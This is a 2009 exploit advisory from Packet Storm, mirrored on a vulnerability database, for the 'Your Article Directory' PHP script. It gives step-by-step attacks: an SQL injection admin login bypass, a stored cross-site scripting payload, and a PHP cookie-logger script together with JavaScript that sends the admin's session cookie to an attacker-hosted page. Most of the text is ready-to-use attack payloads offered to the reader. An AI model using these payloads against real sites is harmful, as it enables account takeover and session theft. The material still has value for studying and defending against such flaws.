Lucene search
K

Article Directory SQL Injection

🗓️ 21 May 2009 00:00:00Reported by HakxerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Article Directory SQL Injection - Multiple vulnerabilities including Authentication bypass and cross site scriptin

Code
` ___ ___ __   
/ | \_____ | | _____ ___ ___________  
/ ~ \__ \ | |/ /\ \/ // __ \_ __ \  
\ Y // __ \| < > <\ ___/| | \/  
\___|_ /(____ /__|_ \/__/\_ \\___ >__|   
\/ \/ \/ \/ \/ :: Egy Coders Team Researcher  
/- Your Article Directory => multiple vulnerabilities  
/- site : http://www.yourarticlesdirectory.com  
/- Demo : http://www.ezynearticles.com/designs/demo/yad-admin  
/- Greetz : all my friends  
/- http://hakxer.blogspot.com/  
  
* hi every body  
* in this vulnerability you can get Authentication to bypass admin panel  
* first go to http://host/path/yad-admin/  
* and in admin type  
* username : admin 'or' 1=1  
* password : hakxer  
* now we in panel  
* you can make a cross site scripting vulnerability in panel  
* go to http://host/path/yad-admin/newpage.php  
* then in title write anything and in content write  
* >"<script>alert("hakxer")</script><div style="1  
* and click save page and go to http://host/path/yad-admin/pages.php  
* and goto this http://host/path/yad-admin/newpages.php?id=[id]  
* xss was running successfully  
  
* if you want to get the admin cookie  
* you can use cookie grabber and to make it you can see this steps :  
* first make file ( logger.php ) and input this code in it  
<?php  
$cookie = $_GET['cookie'];  
$logger = fopen("logger.txt", "a");  
fwrite($logger, $cookie ."\n");  
fclose($logger);  
?>  
* and upload file into any webhost  
* then create logger.txt and chmod it to 777  
* now the time to attack  
* goto http://host/path/yad-admin/newpage.php  
* and in title write ( blah blah come admin ) :d  
* and in content write this js code  
<script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>  
* and click save page  
* now if admin go to our saved page the cookie will send to logger.txt  
  
** notes :  
** use it in your own risk  
  
./be safe - Hakxer -  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation